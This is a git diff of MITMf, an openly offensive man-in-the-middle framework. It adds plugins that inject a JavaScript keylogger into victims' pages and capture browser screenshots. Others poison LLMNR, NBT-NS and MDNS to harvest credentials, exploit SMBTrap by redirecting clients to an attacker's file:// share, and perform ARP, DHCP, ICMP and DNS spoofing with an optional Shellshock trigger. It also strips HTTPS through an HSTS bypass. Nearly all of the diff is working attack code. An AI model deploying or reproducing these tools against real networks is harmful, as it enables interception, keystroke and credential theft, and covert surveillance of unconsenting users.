b/plugins/jskeylogger.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.inject import Inject +from plugins.plugin import Plugin + +class JSKeylogger(Inject, Plugin): + name = "JSKeylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" + version = "0.2" + + def initialize(self, options): + Inject.initialize(self, options) + self.js_file = "./core/javascript/msfkeylogger.js" + + def request(self, request): + if 'keylog' in request.uri: + request.handle_post_output = True + + raw_keys = request.postData.split("&&")[0] + input_field = request.postData.split("&&")[1] + + keys = raw_keys.split(",") + if keys: + del keys[0]; del(keys[len(keys)-1]) + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice[:-1] + elif n == '13': + nice = '' + else: + try: + nice += unichr(int(n)) + except: + self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo) + + self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo) + + def options(self, options): + pass diff --git a/plugins/plugin.py b/plugins/plugin.py index eb69dfa..c90d01f 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -1,43 +1,100 @@ -''' -The base plugin class. This shows the various methods that -can get called during the MITM attack. -''' +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import logging +import argparse -class Plugin(object): - name = "Generic plugin" - optname = "generic" - desc = "" - implements = [] - has_opts = False +from core.configwatcher import ConfigWatcher +from core.logger import logger - def __init__(self): - '''Called on plugin instantiation. Probably don't need this''' - pass +class Plugin(ConfigWatcher): + name = "Generic plugin" + optname = "generic" + tree_info = [] + desc = "" + version = "0.0" + + def __init__(self, parser): + '''Passed the options namespace''' + + if self.desc: + sgroup = parser.add_argument_group(self.name, self.desc) + else: + sgroup = parser.add_argument_group(self.name,"Options for the '{}' plugin".format(self.name)) + + sgroup.add_argument("--{}".format(self.optname), action="store_true",help="Load plugin '{}'".format(self.name)) + + self.options(sgroup) def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - def add_options(options): + def request(self, request): + ''' + Handles all outgoing requests, hooks connectionMade() + request object has the following attributes: + + request.headers => headers in dict format + request.commad => HTTP method + request.post => POST data + request.uri => full URL + request.path => path + ''' + pass + + def responseheaders(self, response, request): + ''' + Handles all response headers, hooks handleEndHeaders() + ''' + pass + + def responsestatus(self, request, version, code, message): + ''' + Handles server response HTTP version, code and message + ''' + return {"request": request, "version": version, "code": code, "message": message} + + def response(self, response, request, data): + ''' + Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) + ''' + return {'response': response, 'request':request, 'data': data} + + def on_config_change(self): + """Do something when MITMf detects the config file has been modified""" + pass + + def options(self, options): '''Add your options to the options parser''' - raise NotImplementedError + pass - def handleHeader(self, request, key, value): - '''Handles all response headers''' - raise NotImplementedError + def reactor(self, strippingFactory): + '''This makes it possible to set up another instance of the reactor on a diffrent port, passed the default factory''' + pass - def connectionMade(self, request): - '''Handles outgoing request''' - raise NotImplementedError + def setup_logger(self): + formatter = logging.Formatter("%(asctime)s [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.log = logger().setup_logger(self.name, formatter) - def handleResponse(self, request, data): - ''' - Handles all non-image responses by default. See Upsidedownternet - for how to get images - ''' - raise NotImplementedError + formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.clientlog = logger().setup_logger("{}_{}".format(self.name, "clientlog"), formatter) - def finish(self): + def on_shutdown(self): '''This will be called when shutting down''' pass diff --git a/plugins/replace.py b/plugins/replace.py new file mode 100644 index 0000000..d5339b2 --- /dev/null +++ b/plugins/replace.py @@ -0,0 +1,53 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +""" + +Original plugin by @rthijssen + +""" + +import re +from plugins.plugin import Plugin + +class Replace(Plugin): + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + version = "0.2" + + def initialize(self, options): + self.options = options + + def response(self, response, request, data): + mime = response.responseHeaders.getRawHeaders('Content-Type')[0] + hn = response.getRequestHostname() + + if "text/html" in mime: + + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, data): + try: + data = re.sub(regex1, regex2, data) + + self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) + except Exception: + self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) + + return {'response': response, 'request': request, 'data': data} diff --git a/plugins/responder.py b/plugins/responder.py new file mode 100644 index 0000000..2f36be3 --- /dev/null +++ b/plugins/responder.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from twisted.internet import reactor + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + version = "0.2" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip = options.ip + + # Load (M)DNS, NBNS and LLMNR Poisoners + import core.poisoners.LLMNR as LLMNR + import core.poisoners.MDNS as MDNS + import core.poisoners.NBTNS as NBTNS + LLMNR.start() + MDNS.start() + NBTNS.start() + + # Load Browser Listener + import core.servers.Browser as Browser + Browser.start() + + if self.config["Responder"]["SQL"].lower() == "on": + from core.servers.MSSQL import MSSQL + self.tree_info.append("MSSQL server [ON]") + MSSQL().start() + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.servers.Kerberos import Kerberos + self.tree_info.append("Kerberos server [ON]") + Kerberos().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.servers.FTP import FTP + self.tree_info.append("FTP server [ON]") + FTP().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.servers.POP3 import POP3 + self.tree_info.append("POP3 server [ON]") + POP3().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.servers.SMTP import SMTP + self.tree_info.append("SMTP server [ON]") + SMTP().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.servers.IMAP import IMAP + self.tree_info.append("IMAP server [ON]") + IMAP().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.servers.LDAP import LDAP + self.tree_info.append("LDAP server [ON]") + LDAP().start() + + def reactor(self, strippingFactory): + reactor.listenTCP(3141, strippingFactory) + + def options(self, options): + options.add_argument('--analyze', dest="analyze",action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") + options.add_argument('--wredir', dest="wredir", action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server") + options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval (might cause a login prompt)") + options.add_argument('--basic', dest="basic", action="store_true", help="Return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py new file mode 100644 index 0000000..a8a3806 --- /dev/null +++ b/plugins/screenshotter.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import base64 +import urllib +import re + +from datetime import datetime +from plugins.plugin import Plugin +from plugins.inject import Inject + +class ScreenShotter(Inject, Plugin): + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' + + def initialize(self, options): + Inject.initialize(self, options) + self.interval = options.interval + self.js_payload = self.get_payload() + + def request(self, request): + if 'saveshot' in request.uri: + request.handle_post_output = True + + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + + self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) + except Exception as e: + self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) + + def get_payload(self): + return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + + def options(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") diff --git a/plugins/SMBAuth.py b/plugins/smbauth.py similarity index 74% rename from plugins/SMBAuth.py rename to plugins/smbauth.py index a1df8fe..eb67aa8 100644 --- a/plugins/SMBAuth.py +++ b/plugins/smbauth.py @@ -19,31 +19,23 @@ # from plugins.plugin import Plugin -from plugins.Inject import Inject -import sys -import logging +from plugins.inject import Inject class SMBAuth(Inject, Plugin): name = "SMBAuth" optname = "smbauth" desc = "Evoke SMB challenge-response auth attempts" - depends = ["Inject"] version = "0.1" - has_opts = True def initialize(self, options): + self.ip = options.ip Inject.initialize(self, options) - self.target_ip = options.host - - if not self.target_ip: - self.target_ip = options.ip_address - self.html_payload = self._get_data() - def add_options(self, options): - options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") - def _get_data(self): return ''\ ''\ - '' % tuple([self.target_ip]*3) + '' % tuple([self.ip]*3) + + def options(self, options): + pass diff --git a/plugins/smbtrap.py b/plugins/smbtrap.py new file mode 100644 index 0000000..8e8ca03 --- /dev/null +++ b/plugins/smbtrap.py @@ -0,0 +1,38 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random +import string + +from plugins.plugin import Plugin + +class SMBTrap(Plugin): + name = "SMBTrap" + optname = "smbtrap" + desc = "Exploits the SMBTrap vulnerability on connected clients" + version = "1.0" + + def initialize(self, options): + self.ip = options.ip + + def responsestatus(self, request, version, code, message): + return {"request": request, "version": version, "code": 302, "message": "Found"} + + def responseheaders(self, response, request): + self.clientlog.info("Trapping request to {}".format(request.headers['host']), extra=request.clientInfo) + rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8)) + response.responseHeaders.setRawHeaders('Location', ["file://{}/{}".format(self.ip, rand_path)]) diff --git a/plugins/spoof.py b/plugins/spoof.py new file mode 100644 index 0000000..dafe4b1 --- /dev/null +++ b/plugins/spoof.py @@ -0,0 +1,110 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin + +class Spoof(Plugin): + name = "Spoof" + optname = "spoof" + desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" + version = "0.6" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.protocol_instances = [] + + from core.utils import iptables, shutdown, set_ip_forwarding + #Makes scapy more verbose + debug = False + + if options.arp: + if not options.gateway: + shutdown("[Spoof] --arp argument requires --gateway") + + from core.poisoners.ARP import ARPpoisoner + arp = ARPpoisoner(options) + arp.debug = debug + self.tree_info.append('ARP spoofing enabled') + self.protocol_instances.append(arp) + + elif options.dhcp: + from core.poisoners.DHCP import DHCPpoisoner + + if options.targets: + shutdown("[Spoof] --targets argument invalid when DCHP spoofing") + + dhcp = DHCPpoisoner(options) + dhcp.debug = debug + self.tree_info.append('DHCP spoofing enabled') + self.protocol_instances.append(dhcp) + + elif options.icmp: + from core.poisoners.ICMP import ICMPpoisoner + + if not options.gateway: + shutdown("[Spoof] --icmp argument requires --gateway") + + if not options.targets: + shutdown("[Spoof] --icmp argument requires --targets") + + icmp = ICMPpoisoner(options) + icmp.debug = debug + self.tree_info.append('ICMP spoofing enabled') + self.protocol_instances.append(icmp) + + if options.dns: + self.tree_info.append('DNS spoofing enabled') + if iptables().dns is False and options.filter is None: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + if not options.arp and not options.icmp and not options.dhcp and not options.dns: + shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + + set_ip_forwarding(1) + + if iptables().http is False and options.filter is None: + iptables().HTTP(options.listen_port) + + for protocol in self.protocol_instances: + protocol.start() + + def options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') + options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') + options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--gatewaymac', dest='gatewaymac', help='Specify the gateway MAC [will auto resolve if ommited]') + options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') + options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison') + options.add_argument('--arpmode', type=str, dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') + + def on_shutdown(self): + from core.utils import iptables, set_ip_forwarding + + for protocol in self.protocol_instances: + if hasattr(protocol, 'stop'): + protocol.stop() + + iptables().flush() + + set_ip_forwarding(0) diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py new file mode 100644 index 0000000..9266040 --- /dev/null +++ b/plugins/sslstrip+.py @@ -0,0 +1,45 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import sys +from plugins.plugin import Plugin + +class SSLstripPlus(Plugin): + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_info = ["SSLstrip+ by Leonardo Nve running"] + + def initialize(self, options): + self.options = options + + from core.sslstrip.URLMonitor import URLMonitor + from core.servers.DNS import DNSChef + from core.utils import iptables + + if iptables().dns is False and options.filter is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + URLMonitor.getInstance().setHstsBypass() + DNSChef().setHstsBypass() + + def on_shutdown(self): + from core.utils import iptables + if iptables().dns is True: + iptables().flush() diff --git a/plugins/Upsidedownternet.py b/plugins/upsidedownternet.py similarity index 70% rename from plugins/Upsidedownternet.py rename to plugins/upsidedownternet.py index 959f96c..a293dd1 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/upsidedownternet.py @@ -1,5 +1,3 @@ -#!/usr/bin/env python2.7 - # Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or @@ -18,35 +16,27 @@ # USA # -import logging from cStringIO import StringIO from plugins.plugin import Plugin -from PIL import Image - -mitmf_logger = logging.getLogger('mitmf') +from PIL import Image, ImageFile class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" desc = 'Flips images 180 degrees' - implements = ["handleResponse", "handleHeader"] version = "0.1" - has_opts = False def initialize(self, options): - from PIL import Image, ImageFile - globals()['Image'] = Image - globals()['ImageFile'] = ImageFile self.options = options - def handleHeader(self, request, key, value): + def responseheaders(self, response, request): '''Kill the image skipping that's in place for speed reasons''' if request.isImageRequest: request.isImageRequest = False request.isImage = True - request.imageType = value.split("/")[1].upper() + self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() - def handleResponse(self, request, data): + def response(self, response, request, data): try: isImage = getattr(request, 'isImage') except AttributeError: @@ -54,7 +44,6 @@ class Upsidedownternet(Plugin): if isImage: try: - image_type = request.imageType #For some reason more images get parsed using the parser #rather than a file...PIL still needs some work I guess p = ImageFile.Parser() @@ -62,10 +51,11 @@ class Upsidedownternet(Plugin): im = p.close() im = im.transpose(Image.ROTATE_180) output = StringIO() - im.save(output, format=image_type) + im.save(output, format=self.imageType) data = output.getvalue() output.close() - mitmf_logger.info("%s Flipped image" % request.client.getClientIP()) + self.clientlog.info("Flipped image", extra=request.clientInfo) except Exception as e: - mitmf_logger.info("%s Error: %s" % (request.client.getClientIP(), e)) - return {'request': request, 'data': data} + self.clientlog.info("Error: {}".format(e), extra=request.clientInfo) + + return {'response': response, 'request': request, 'data': data} diff --git a/requirements.txt b/requirements.txt index 06c30e4..b0dce5a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,12 +1,26 @@ -Twisted -requests -scapy -msgpack-python -dnspython -dnslib -user-agents -configobj -pyyaml -ua-parser +git+https://github.com/kti/python-netfilterqueue +pyinotify +pycrypto +pyasn1 +cryptography Pillow -pefile \ No newline at end of file +netaddr +scapy +dnslib +Twisted +lxml +pefile +ipy +user_agents +pyopenssl +service_identity +configobj +Flask +dnspython +beautifulsoup4 +capstone +python-magic +msgpack-python +requests +pypcap +chardet diff --git a/setup.sh b/setup.sh deleted file mode 100755 index 5191a97..0000000 --- a/setup.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env bash -if [[ $EUID -ne 0 ]]; then - echo "You must be root" 2>&1 - exit 1 -fi - -git submodule init && git submodule update --recursive -cd libs/bdfactory/ && ./install.sh diff --git a/tests/basic_tests.py b/tests/basic_tests.py new file mode 100644 index 0000000..155a3d7 --- /dev/null +++ b/tests/basic_tests.py @@ -0,0 +1,57 @@ +import unittest +import threading +import logging + +class BasicTests(unittest.TestCase): + + def test_configfile(self): + from configobj import ConfigObj + config = ConfigObj('config/mitmf.conf') + + def test_logger(self): + from core.logger import logger + logger.log_level = logging.DEBUG + formatter = logging.Formatter("%(asctime)s [unittest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + log = logger().setup_logger("unittest", formatter) + + def test_DNSChef(self): + from core.logger import logger + logger.log_level = logging.DEBUG + from core.servers.DNS import DNSChef + DNSChef().start() + + def test_NetCreds(self): + from core.logger import logger + logger.log_level = logging.DEBUG + from core.netcreds import NetCreds + NetCreds().start('venet0:0', '172.30.96.18') + + def test_SSLStrip_Proxy(self): + favicon = True + preserve_cache = True + killsessions = True + listen_port = 10000 + + from twisted.web import http + from twisted.internet import reactor + from core.sslstrip.CookieCleaner import CookieCleaner + from core.proxyplugins import ProxyPlugins + from core.sslstrip.StrippingProxy import StrippingProxy + from core.sslstrip.URLMonitor import URLMonitor + + URLMonitor.getInstance().setFaviconSpoofing(favicon) + URLMonitor.getInstance().setCaching(preserve_cache) + CookieCleaner.getInstance().setEnabled(killsessions) + + strippingFactory = http.HTTPFactory(timeout=10) + strippingFactory.protocol = StrippingProxy + + reactor.listenTCP(listen_port, strippingFactory) + + #ProxyPlugins().all_plugins = plugins + t = threading.Thread(name='sslstrip_test', target=reactor.run) + t.setDaemon(True) + t.start() + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/tools/cve-details-parser.py b/tools/cve-details-parser.py new file mode 100755 index 0000000..db454b3 --- /dev/null +++ b/tools/cve-details-parser.py @@ -0,0 +1,32 @@ +#! /usr/bin/env python2 + +import requests +import lxml.html +import sys + +r = requests.get(sys.argv[1]) +tree = lxml.html.fromstring(r.text) + +try: + + vulntable = tree.xpath('//table[@id="vulnprodstable"]/*') + list_len = len(vulntable) + + tuple_list = [] + + for i in vulntable[2:list_len]: + java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip()) + tuple_list.append(java_v) + +except IndexError: + pass + +string_list = [] +for v in sorted(set(tuple_list)): + version, update = v + if update: + string_list.append("{}.{}".format(version, update)) + else: + string_list.append(version) + +print ', '.join(string_list) \ No newline at end of file diff --git a/update.sh b/update.sh deleted file mode 100755 index fa51c12..0000000 --- a/update.sh +++ /dev/null @@ -1,12 +0,0 @@ -#!/usr/bin/env bash -if [[ $EUID -ne 0 ]]; then - echo "You must root" 2>&1 - exit 1 -fi - -echo 'Updating MITMf' -git pull -echo 'Updating the-backdoor-factory' -cd libs/bdfactory/ -git pull origin master -./update.sh